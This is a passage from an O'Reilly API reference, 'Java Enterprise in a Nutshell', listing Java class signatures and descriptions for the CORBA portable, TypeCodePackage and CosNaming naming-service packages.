 | public void servant_postinvoke (org.omg.CORBA.Object self, ServantObject servant); | empty
 | public ServantObject servant_preinvoke (org.omg.CORBA.Object self, String operation, Class expectedType); | constant
 | public org.omg.CORBA.Object set_policy_override (org.omg.CORBA.Object self, org.omg.CORBA.Policy[ ] policies, SetOverrideType set_add); |
 | public String toString (org.omg.CORBA.Object self); |
}

Passed To: ObjectImpl._set_delegate(), org.omg.CosNaming._BindingIteratorStub._BindingIteratorStub(), org.omg.CosNaming._NamingContextStub._NamingContextStub()

Returned By: ObjectImpl._get_delegate()

IDLEntity | Java 1.2
org.omg.CORBA.portable | serializable

This interface marks certain IDL-generated classes. The RMI/IIOP extensions to CORBA look for this marker interface, since it indicates that a Java object being marshalled or unmarshalled has a helper class that can serialize the object.

public abstract interface IDLEntity extends Serializable {
}

Hierarchy: (IDLEntity(Serializable))

Implementations: Any, CompletionStatus, DefinitionKind, IDLType, IRObject, NameValuePair, ServiceDetail, ServiceInformation, SetOverrideType, StructMember, TypeCode, UnionMember, UserException, ValueMember, org.omg.CosNaming.Binding, org.omg.CosNaming.BindingIterator, org.omg.CosNaming.BindingType, org.omg.CosNaming.NameComponent, org.omg.CosNaming.NamingContext, AlreadyBound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName, NotEmpty, NotFound, NotFoundReason

InputStream Java 1.2
org.omg.CORBA.portable

An InputStream is used for unmarshalling IDL-generated objects. The InputStream provides a series of read_XXX() methods for unmarshalling basic IDL types.

public abstract class InputStream extends java.io.InputStream {
// | Public Constructors
 | public InputStream ();
// | Public Instance Methods
 | public ORB orb ();
 | public abstract Any read_any ();
 | public abstract boolean read_boolean ();
 | public abstract void read_boolean_array (boolean[ ] value, int offset, int length);
 | public abstract char read_char ();
 | public abstract void read_char_array (char[ ] value, int offset, int length);
 | public org.omg.CORBA.Context read_Context ();
 | public abstract double read_double ();
 | public abstract void read_double_array (double[ ] value, int offset, int length);
 | public java.math.BigDecimal read_fixed ();
 | public abstract float read_float ();
 | public abstract void read_float_array (float[ ] value, int offset, int length);
 | public abstract int read_long ();
 | public abstract void read_long_array (int[ ] value, int offset, int length);
 | public abstract long read_longlong ();
 | public abstract void read_longlong_array (long[ ] value, int offset, int length);
 | public abstract org.omg.CORBA.Object read_Object ();
 | public org.omg.CORBA.Object read_Object (Class clz);
 | public abstract byte read_octet ();
 | public abstract void read_octet_array (byte[ ] value, int offset, int length);
 | public abstract short read_short ();
 | public abstract void read_short_array (short[ ] value, int offset, int length);
 | public abstract String read_string ();
 | public abstract TypeCode read_TypeCode ();
 | public abstract int read_ulong ();
 | public abstract void read_ulong_array (int[ ] value, int offset, int length);
 | public abstract long read_ulonglong ();
 | public abstract void read_ulonglong_array (long[ ] value, int offset, int length);
 | public abstract short read_ushort ();
 | public abstract void read_ushort_array (short[ ] value, int offset, int length);
 | public abstract char read_wchar ();
 | public abstract void read_wchar_array (char[ ] value, int offset, int length);
 | public abstract String read_wstring ();
// | Public methods overriding InputStream
 | public int read () throws IOException;
// | Deprecated Public Methods
# | public abstract org.omg.CORBA.Principal read_Principal ();
}

Hierarchy: Object-->java.io.InputStream-->org.omg.CORBA.portable.InputStream

Passed To: Too many methods to list.

Returned By: Any.create_input_stream(), ApplicationException.getInputStream(), Delegate.invoke(), ObjectImpl._invoke(), org.omg.CORBA.portable.OutputStream.create_input_stream()

InvokeHandler Java 1.2
org.omg.CORBA.portable

This interface is used during dynamic method invocations. An InvokeHandler is responsible, through its _invoke() method, for finding a named method, reading marshalled arguments from the given org.omg.CORBA.portable.InputStream, and returning the response in the form of an org.omg.CORBA.portable.OutputStream generated from the given ResponseHandler.

public abstract interface InvokeHandler {
// | Public Instance Methods
 | public abstract org.omg.CORBA.portable.OutputStream _invoke (String method, org.omg.CORBA.portable.InputStream input, ResponseHandler handler) throws org.omg.CORBA.SystemException;
}
ObjectImpl Java 1.2
org.omg.CORBA.portable

ObjectImpl is the base class for all stub classes; it provides default implementations for the methods declared in the orb.omg.CORBA.Object interface. ObjectImpl contains a Delegate object that acts as a proxy for the Object methods.

public abstract class ObjectImpl implements org.omg.CORBA.Object {
// | Public Constructors
 | public ObjectImpl ();
// | Public Instance Methods
 | public Delegate _get_delegate ();
 | public abstract String[ ] _ids ();
 | public org.omg.CORBA.portable.InputStream _invoke (org.omg.CORBA.portable.OutputStream output) throws ApplicationException, RemarshalException;
 | public boolean _is_local ();
 | public ORB _orb ();
 | public void _releaseReply (org.omg.CORBA.portable.InputStream input);
 | public org.omg.CORBA.portable.OutputStream _request (String operation, boolean responseExpected);
 | public void _servant_postinvoke (ServantObject servant);
 | public ServantObject _servant_preinvoke (String operation, Class expectedType);
 | public void _set_delegate (Delegate delegate);
// | Methods implementing Object
 | public Request _create_request (org.omg.CORBA.Context ctx, String operation, NVList arg_list, NamedValue result);
 | public Request _create_request (org.omg.CORBA.Context ctx, String operation, NVList arg_list, NamedValue result, ExceptionList exceptions, ContextList contexts);
 | public org.omg.CORBA.Object _duplicate ();
 | public DomainManager[ ] _get_domain_managers ();
 | public org.omg.CORBA.Object _get_interface_def ();
 | public org.omg.CORBA.Policy _get_policy (int policy_type);
 | public int _hash (int maximum);
 | public boolean _is_a (String repository_id);
 | public boolean _is_equivalent (org.omg.CORBA.Object that);
 | public boolean _non_existent ();
 | public void _release ();
 | public Request _request (String operation);
 | public org.omg.CORBA.Object _set_policy_override (org.omg.CORBA.Policy[ ] policies, SetOverrideType set_add);
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->ObjectImpl(org.omg.CORBA.Object)

Subclasses: DynamicImplementation, org.omg.CosNaming._BindingIteratorStub, org.omg.CosNaming._NamingContextStub

OutputStream Java 1.2
org.omg.CORBA.portable

An OutputStream marshals IDL-generated objects. The OutputStream provides a series of write_XXX() methods for marshalling basic IDL types.

public abstract class OutputStream extends java.io.OutputStream {
// | Public Constructors
 | public OutputStream ();
// | Public Instance Methods
 | public abstract org.omg.CORBA.portable.InputStream create_input_stream ();
 | public ORB orb ();
 | public abstract void write_any (Any value);
 | public abstract void write_boolean (boolean value);
 | public abstract void write_boolean_array (boolean[ ] value, int offset, int length);
 | public abstract void write_char (char value);
 | public abstract void write_char_array (char[ ] value, int offset, int length);
 | public void write_Context (org.omg.CORBA.Context ctx, ContextList contexts);
 | public abstract void write_double (double value);
 | public abstract void write_double_array (double[ ] value, int offset, int length);
 | public void write_fixed (java.math.BigDecimal value);
 | public abstract void write_float (float value);
 | public abstract void write_float_array (float[ ] value, int offset, int length);
 | public abstract void write_long (int value);
 | public abstract void write_long_array (int[ ] value, int offset, int length);
 | public abstract void write_longlong (long value);
 | public abstract void write_longlong_array (long[ ] value, int offset, int length);
 | public abstract void write_Object (org.omg.CORBA.Object value);
 | public abstract void write_octet (byte value);
 | public abstract void write_octet_array (byte[ ] value, int offset, int length);
 | public abstract void write_short (short value);
 | public abstract void write_short_array (short[ ] value, int offset, int length);
 | public abstract void write_string (String value);
 | public abstract void write_TypeCode (TypeCode value);
 | public abstract void write_ulong (int value);
 | public abstract void write_ulong_array (int[ ] value, int offset, int length);
 | public abstract void write_ulonglong (long value);
 | public abstract void write_ulonglong_array (long[ ] value, int offset, int length);
 | public abstract void write_ushort (short value);
 | public abstract void write_ushort_array (short[ ] value, int offset, int length);
 | public abstract void write_wchar (char value);
 | public abstract void write_wchar_array (char[ ] value, int offset, int length);
 | public abstract void write_wstring (String value);
// | Public methods overriding OutputStream
 | public void write (int b) throws IOException;
// | Deprecated Public Methods
# | public abstract void write_Principal (org.omg.CORBA.Principal value);
}

Hierarchy: Object-->java.io.OutputStream-->org.omg.CORBA.portable.OutputStream

Passed To: Too many methods to list.

Returned By: Any.create_output_stream(), ORB.create_output_stream(), Delegate.request(), InvokeHandler._invoke(), ObjectImpl._request(), ResponseHandler.{createExceptionReply(), createReply()}

RemarshalException | Java 1.2
org.omg.CORBA.portable | serializable checked

An exception thrown by the Delegate._invoke() and ObjectImpl.invoke() methods when a marshalling error occurs during the method invocation.

public final class RemarshalException extends Exception {
// | Public Constructors
 | public RemarshalException ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RemarshalException

Thrown By: Delegate.invoke(), ObjectImpl._invoke()

ResponseHandler Java 1.2
org.omg.CORBA.portable

A ResponseHandler is responsible for generating an org.omg.CORBA.portable.OutputStream that is used by an object servant to write marshalled method responses (return value or exception).

public abstract interface ResponseHandler {
// | Public Instance Methods
 | public abstract org.omg.CORBA.portable.OutputStream createExceptionReply ();
 | public abstract org.omg.CORBA.portable.OutputStream createReply ();
}

Passed To: InvokeHandler._invoke()

ServantObject Java 1.2
org.omg.CORBA.portable

ServantObject is a wrapper for an object that can handle method requests for a remote object. The ObjectImpl class defers method requests to a ServantObject acquired from its internal Delegate.

public class ServantObject {
// | Public Constructors
 | public ServantObject ();
// | Public Instance Fields
 | public Object servant ;
}

Passed To: Delegate.servant_postinvoke(), ObjectImpl._servant_postinvoke()

Returned By: Delegate.servant_preinvoke(), ObjectImpl._servant_preinvoke()

Streamable Java 1.2
org.omg.CORBA.portable

All holder classes extend this interface, which defines methods for marshalling and unmarshalling objects of the type corresponding to the holder class.

public abstract interface Streamable {
// | Public Instance Methods
 | public abstract void _read (org.omg.CORBA.portable.InputStream istream);
 | public abstract TypeCode _type ();
 | public abstract void _write (org.omg.CORBA.portable.OutputStream ostream);
}

Implementations: Too many classes to list.

Passed To: Any.insert_Streamable()

Previous | Home | Next
32.1. The org.omg.CORBA.ORBPackage Package | Book Index | 34. The org.omg.CORBA.TypeCodePackage Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The org.omg.CORBA.TypeCodePackage Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 34. The org.omg.CORBA.TypeCodePackage Package

The org.omg.CORBA.TypeCodePackage package defines exceptions that are thrown by the org.omg.CORBA.TypeCode class. Figure 34-1 shows the class hierarchy of this package.

Figure 34-1. The org.omg.CORBA.TypeCodePackage package

BadKind | Java 1.2
org.omg.CORBA.TypeCodePackage | serializable checked

An exception thrown when a method is called on a TypeCode object that isn't valid for the type it represents.

public final class BadKind extends UserException {
// | Public Constructors
 | public BadKind ();
 | public BadKind (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->BadKind

Thrown By: TypeCode.{concrete_base_type(), content_type(), default_index(), discriminator_type(), fixed_digits(), fixed_scale(), id(), length(), member_count(), member_label(), member_name(), member_type(), member_visibility(), name(), type_modifier()}

Bounds | Java 1.2
org.omg.CORBA.TypeCodePackage | serializable checked

An exception thrown when you request member information from a TypeCode using an index that is beyond the valid member index of the type.

public final class Bounds extends UserException {
// | Public Constructors
 | public Bounds ();
 | public Bounds (String reason);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->UserException(org.omg.CORBA.portable.IDLEntity(Serializable))-->org.omg.CORBA.TypeCodePackage.Bounds

Thrown By: TypeCode.{member_label(), member_name(), member_type()}

Previous | Home | Next
33.1. The org.omg.CORBA.portable Package | Book Index | 35. The org.omg.CosNaming Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The org.omg.CosNaming Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 35. The org.omg.CosNaming Package

The org.omg.CosNaming package is a Java mapping of the IDL interfaces defined by the CORBA Naming Service. The principal interface in the service is the NamingContext, which represents a directory of named object references. The package also contains various support classes that allow you to iterate through an NamingContext and query its contents. Figure 35-1 shows the class hierarchy of this package.

Figure 35-1. The org.omg.CosNaming package

_BindingIteratorImplBase | Java 1.2
org.omg.CosNaming | serializable

The IDL-generated skeleton class for the BindingIterator interface.

public abstract class _BindingIteratorImplBase extends org.omg.CORBA.DynamicImplementationimplements BindingIterator {
// | Public Constructors
 | public _BindingIteratorImplBase ();
// | Methods implementing BindingIterator
 | public abstract void destroy ();
 | public abstract boolean next_n (int how_many, BindingListHolder bl);
 | public abstract boolean next_one (BindingHolder b);
// | Public methods overriding DynamicImplementation
 | public void invoke (org.omg.CORBA.ServerRequest r);
// | Public methods overriding ObjectImpl
 | public String[ ] _ids ();
}

Hierarchy: Object-->org.omg.CORBA.portable.ObjectImpl(org.omg.CORBA.Object)-->org.omg.CORBA.DynamicImplementation-->_BindingIteratorImplBase(BindingIterator(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable)))

_BindingIteratorStub | Java 1.2
org.omg.CosNaming | serializable

The IDL-generated stub class for the BindingIterator interface.

public class _BindingIteratorStub extends org.omg.CORBA.portable.ObjectImplimplements BindingIterator {
// | Public Constructors
 | public _BindingIteratorStub (org.omg.CORBA.portable.Delegate d);
// | Methods implementing BindingIterator
 | public void destroy ();
 | public boolean next_n (int how_many, BindingListHolder bl);
 | public boolean next_one (BindingHolder b);
// | Public methods overriding ObjectImpl
 | public String[ ] _ids ();
}

Hierarchy: Object-->org.omg.CORBA.portable.ObjectImpl(org.omg.CORBA.Object)-->_BindingIteratorStub(BindingIterator(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable)))

_NamingContextImplBase | Java 1.2
org.omg.CosNaming | serializable

The IDL-generated skeleton class for the NamingContext interface.

public abstract class _NamingContextImplBase extends org.omg.CORBA.DynamicImplementationimplements NamingContext {
// | Public Constructors
 | public _NamingContextImplBase ();
// | Methods implementing NamingContext
 | public abstract void bind (NameComponent[ ] n, org.omg.CORBA.Object obj) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName, AlreadyBound;
 | public abstract void bind_context (NameComponent[ ] n, NamingContext nc) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName, AlreadyBound;
 | public abstract NamingContext bind_new_context (NameComponent[ ] n) throws NotFound, AlreadyBound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public abstract void destroy () throws NotEmpty;
 | public abstract void list (int how_many, BindingListHolder bl, BindingIteratorHolder bi);
 | public abstract NamingContext new_context ();
 | public abstract void rebind (NameComponent[ ] n, org.omg.CORBA.Object obj) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public abstract void rebind_context (NameComponent[ ] n, NamingContext nc) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public abstract org.omg.CORBA.Object resolve (NameComponent[ ] n) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public abstract void unbind (NameComponent[ ] n) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
// | Public methods overriding DynamicImplementation
 | public void invoke (org.omg.CORBA.ServerRequest r);
// | Public methods overriding ObjectImpl
 | public String[ ] _ids ();
}

Hierarchy: Object-->org.omg.CORBA.portable.ObjectImpl(org.omg.CORBA.Object)-->org.omg.CORBA.DynamicImplementation-->_NamingContextImplBase(NamingContext(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable)))

_NamingContextStub | Java 1.2
org.omg.CosNaming | serializable

The IDL-generated stub class for the NamingContext interface.

public class _NamingContextStub extends org.omg.CORBA.portable.ObjectImplimplements NamingContext {
// | Public Constructors
 | public _NamingContextStub (org.omg.CORBA.portable.Delegate d);
// | Methods implementing NamingContext
 | public void bind (NameComponent[ ] n, org.omg.CORBA.Object obj) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName, AlreadyBound;
 | public void bind_context (NameComponent[ ] n, NamingContext nc) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName, AlreadyBound;
 | public NamingContext bind_new_context (NameComponent[ ] n) throws NotFound, AlreadyBound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public void destroy () throws NotEmpty;
 | public void list (int how_many, BindingListHolder bl, BindingIteratorHolder bi);
 | public NamingContext new_context ();
 | public void rebind (NameComponent[ ] n, org.omg.CORBA.Object obj) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public void rebind_context (NameComponent[ ] n, NamingContext nc) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public org.omg.CORBA.Object resolve (NameComponent[ ] n) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
 | public void unbind (NameComponent[ ] n) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName;
// | Public methods overriding ObjectImpl
 | public String[ ] _ids ();
}

Hierarchy: Object-->org.omg.CORBA.portable.ObjectImpl(org.omg.CORBA.Object)-->_NamingContextStub(NamingContext(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable)))

Binding | Java 1.2
org.omg.CosNaming | serializable

A Binding describes a name binding within a naming context. It contains a NameComponent array, which represents the name associated with the binding, and a BindingType, which indicates whether the bound object is a regular object or a NamingContext.

public final class Binding implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public Binding ();
 | public Binding (NameComponent[ ] __binding_name, BindingType __binding_type);
// | Public Instance Fields
 | public NameComponent[ ] binding_name ;
 | public BindingType binding_type ;
}

Hierarchy: Object-->org.omg.CosNaming.Binding(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: BindingHelper.{insert(), write()}, BindingHolder.BindingHolder(), BindingListHelper.{insert(), write()}, BindingListHolder.BindingListHolder()

Returned By: BindingHelper.{extract(), read()}, BindingListHelper.{extract(), read()}

Type Of: BindingHolder.value, BindingListHolder.value

BindingHelper Java 1.2
org.omg.CosNaming

The helper class for the Binding class.

public class BindingHelper {
// | No Constructor
// | Public Class Methods
 | public static org.omg.CosNaming.Binding extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, org.omg.CosNaming.Binding that); |
 | public static org.omg.CosNaming.Binding read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, org.omg.CosNaming.Binding that); |
}
BindingHolder Java 1.2
org.omg.CosNaming

The holder class for out and inout IDL method arguments that are mapped to Java Binding objects.

public final class BindingHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public BindingHolder ();
 | public BindingHolder (org.omg.CosNaming.Binding __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public org.omg.CosNaming.Binding value ;
}

Hierarchy: Object-->BindingHolder(org.omg.CORBA.portable.Streamable)

Passed To: _BindingIteratorImplBase.next_one(), _BindingIteratorStub.next_one(), BindingIterator.next_one()

BindingIterator | Java 1.2
org.omg.CosNaming | serializable

If you request a set of name/object bindings from a NamingContext using its list() method, the BindingListHolder you pass in is filled with any results, up to its maximum capacity. If the NamingContext contains more bound objects than the binding array you provide can hold, the BindingIteratorHolder argument is initialized to contain a BindingIterator that allows you to iterate through the rest of the bindings in the context. You can iterate through the remainder of the bindings one at a time, using the next_one() method, or in sets, using the next_n() method.

public abstract interface BindingIterator extends org.omg.CORBA.Object, org.omg.CORBA.portable.IDLEntity {
// | Public Instance Methods
 | public abstract void destroy ();
 | public abstract boolean next_n (int how_many, BindingListHolder bl);
 | public abstract boolean next_one (BindingHolder b);
}

Hierarchy: (BindingIterator(org.omg.CORBA.Object,org.omg.CORBA.portable.IDLEntity(Serializable)))

Implementations: _BindingIteratorImplBase, _BindingIteratorStub

Passed To: BindingIteratorHelper.{insert(), write()}, BindingIteratorHolder.BindingIteratorHolder()

Returned By: BindingIteratorHelper.{extract(), narrow(), read()}

Type Of: BindingIteratorHolder.value

BindingIteratorHelper Java 1.2
org.omg.CosNaming

The helper class for the BindingIterator class.

public class BindingIteratorHelper {
// | No Constructor
// | Public Class Methods
 | public static BindingIterator extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, BindingIterator that); |
 | public static BindingIterator narrow (org.omg.CORBA.Object that) throws org.omg.CORBA.BAD_PARAM; |
 | public static BindingIterator read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, BindingIterator that); |
}
BindingIteratorHolder Java 1.2
org.omg.CosNaming

The holder class for out and inout IDL method arguments that are mapped to Java BindingIterator objects.

public final class BindingIteratorHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public BindingIteratorHolder ();
 | public BindingIteratorHolder (BindingIterator __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public BindingIterator value ;
}

Hierarchy: Object-->BindingIteratorHolder(org.omg.CORBA.portable.Streamable)

Passed To: _NamingContextImplBase.list(), _NamingContextStub.list(), NamingContext.list()

BindingListHelper Java 1.2
org.omg.CosNaming

The helper class for the BindingList class, which is the Java mapping for Binding arrays.

public class BindingListHelper {
// | No Constructor
// | Public Class Methods
 | public static org.omg.CosNaming.Binding[ ] extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, org.omg.CosNaming.Binding[ ] that); |
 | public static org.omg.CosNaming.Binding[ ] read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, org.omg.CosNaming.Binding[ ] that); |
}
BindingListHolder Java 1.2
org.omg.CosNaming

The holder class for out and inout IDL method arguments that are mapped to Java BindingList objects.

public final class BindingListHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public BindingListHolder ();
 | public BindingListHolder (org.omg.CosNaming.Binding[ ] __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public org.omg.CosNaming.Binding[ ] value ;
}

Hierarchy: Object-->BindingListHolder(org.omg.CORBA.portable.Streamable)

Passed To: _BindingIteratorImplBase.next_n(), _BindingIteratorStub.next_n(), _NamingContextImplBase.list(), _NamingContextStub.list(), BindingIterator.next_n(), NamingContext.list()

BindingType | Java 1.2
org.omg.CosNaming | serializable

A BindingType indicates what type of object is involved in a given binding, a regular object or a NamingContext. Its value() method returns an int value that can be compared to the two static int values on the class, to differentiate between these two cases.

public final class BindingType implements org.omg.CORBA.portable.IDLEntity {
// | No Constructor
// | Public Constants
 | public static final int _ncontext ; | =1
 | public static final int _nobject ; | =0
 | public static final BindingType ncontext ; |
 | public static final BindingType nobject ; |
// | Public Class Methods
 | public static final BindingType from_int (int i) throws org.omg.CORBA.BAD_PARAM; |
// | Public Instance Methods
 | public int value (); |
}

Hierarchy: Object-->BindingType(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: org.omg.CosNaming.Binding.Binding(), BindingTypeHelper.{insert(), write()}, BindingTypeHolder.BindingTypeHolder()

Returned By: BindingType.from_int(), BindingTypeHelper.{extract(), read()}

Type Of: org.omg.CosNaming.Binding.binding_type, BindingType.{ncontext, nobject}, BindingTypeHolder.value

BindingTypeHelper Java 1.2
org.omg.CosNaming

The helper class for the BindingType class.

public class BindingTypeHelper {
// | No Constructor
// | Public Class Methods
 | public static BindingType extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, BindingType that); |
 | public static BindingType read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, BindingType that); |
}
BindingTypeHolder Java 1.2
org.omg.CosNaming

The holder class for out and inout IDL method arguments that are mapped to Java BindingType objects.

public final class BindingTypeHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public BindingTypeHolder ();
 | public BindingTypeHolder (BindingType __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public BindingType value ;
}

Hierarchy: Object-->BindingTypeHolder(org.omg.CORBA.portable.Streamable)

IstringHelper Java 1.2
org.omg.CosNaming

The helper class for the Istring class. The Istring class is used in the Naming Service as a placeholder for an internationalized string type. (Note that IString is just a typedef in the CORBA specification at this point; the OMG hasn't defined an internationalized string interface yet. That's why you cannot find a definition for IString anywhere in Java IDL.)

public class IstringHelper {
// | No Constructor
// | Public Class Methods
 | public static String extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, String that); |
 | public static String read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, String that); |
}
NameComponent | Java 1.2
org.omg.CosNaming | serializable

A NameComponent represents one element in a name binding for an object. The name of an object in a NamingContext is composed of a sequence of NameComponent objects. Each NameComponent represents a subcontext that the object falls within, and the last NameComponent is the object's name within its closest context. Consider an object bound to the name apple-146 within a context bound to the name fruit within the root context. This object has two NameComponent objects in its fully qualified name within the root context: fruit, apple-146.

A NameComponent contains an id member, which represents the name associated with the component, and a kind member, which can optionally be used to further differentiate branches in a naming directory. The Naming Service does not consider the kind field on NameComponent objects when determining the uniqueness of name bindings, so each ordered list of id fields extracted from a fully qualified name binding must be unique.

public final class NameComponent implements org.omg.CORBA.portable.IDLEntity {
// | Public Constructors
 | public NameComponent ();
 | public NameComponent (String __id, String __kind);
// | Public Instance Fields
 | public String id ;
 | public String kind ;
}

Hierarchy: Object-->NameComponent(org.omg.CORBA.portable.IDLEntity(Serializable))

Passed To: Too many methods to list.

Returned By: NameComponentHelper.{extract(), read()}, NameHelper.{extract(), read()}

Type Of: org.omg.CosNaming.Binding.binding_name, NameComponentHolder.value, NameHolder.value, CannotProceed.rest_of_name, NotFound.rest_of_name

NameComponentHelper Java 1.2
org.omg.CosNaming

The helper class for the NameComponent class.

public class NameComponentHelper {
// | No Constructor
// | Public Class Methods
 | public static NameComponent extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, NameComponent that); |
 | public static NameComponent read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, NameComponent that); |
}
NameComponentHolder Java 1.2
org.omg.CosNaming

The holder class for out and inout IDL method arguments that are mapped to NameComponent objects.

public final class NameComponentHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public NameComponentHolder ();
 | public NameComponentHolder (NameComponent __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public NameComponent value ;
}

Hierarchy: Object-->NameComponentHolder(org.omg.CORBA.portable.Streamable)

NameHelper Java 1.2
org.omg.CosNaming

The helper class generated for the Name typedef declared in the IDL module for the Naming Service specification. The IDL typedef associates the type Name to a sequence of NameComponent objects.

public class NameHelper {
// | No Constructor
// | Public Class Methods
 | public static NameComponent[ ] extract (org.omg.CORBA.Any a); |
 | public static String id (); |
 | public static void insert (org.omg.CORBA.Any a, NameComponent[ ] that); |
 | public static NameComponent[ ] read (org.omg.CORBA.portable.InputStream in); |
 | public static org.omg.CORBA.TypeCode type (); | synchronized
 | public static void write (org.omg.CORBA.portable.OutputStream out, NameComponent[ ] that); |
}
NameHolder Java 1.2
org.omg.CosNaming

The holder class for out and inout IDL method arguments that are typed as an IDL Name. An IDL typedef in the Naming Service specification associates the type Name to a sequence of NameComponent objects, so any in arguments using this type are mapped to NameComponent arrays in Java, and any out or inout arguments are mapped to NameHolder objects.

public final class NameHolder implements org.omg.CORBA.portable.Streamable {
// | Public Constructors
 | public NameHolder ();
 | public NameHolder (NameComponent[ ] __arg);
// | Methods implementing Streamable
 | public void _read (org.omg.CORBA.portable.InputStream in);
 | public org.omg.CORBA.TypeCode _type ();
 | public void _write (org.omg.CORBA.portable.OutputStream out);
// | Public Instance Fields
 | public NameComponent[ ] value ;
}

Hierarchy: Object-->NameHolder(org.omg.CORBA.portable.Streamable)

NamingContext | Java 1.2
org.omg.CosNaming | serializable

A NamingContext represents a naming directory structure, where objects are bound to unique branches, or names, in the naming directory. The full name each object is given in the NamingContext must be unique. New branches in the naming directory are created by binding a NamingContext to a name within another, root NamingContext. The child context represents a subdirectory, or subcontext, within the parent context.

Objects are bound to names in a context using the bind() and rebind() methods. The rebind() method allows you to reassign a name to a new object, if the name has already been bound. You can bind contexts using the bind_context(), bind_new_context(), and rebind_context() methods. If you want to simply create a new context without binding it to a name, use the new_context() method. Bound objects in the context can be found using the resolve() (for singular objects) and list() methods. The unbind() method lets you remove objects from their bindings in the context.

Objects can be bound to names in multiple NamingContext objects at the same time. Their names within each context are independent. The same object can also be bound to multiple, different names in a single context.

public abstract interface NamingContext extends org.omg.CORBA.Object, org.omg.CORBA.portable.IDLEntity {
// | Public Instance Methods
 | public abstract void bind (NameComponent[ ] n, org.omg.CORBA.Object obj) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName, AlreadyBound;
 | public abstract void bind_context (NameComponent[ ] n, NamingContext nc) throws NotFound, CannotProceed, org.omg.CosNaming.NamingContextPackage.InvalidName, AlreadyBound;
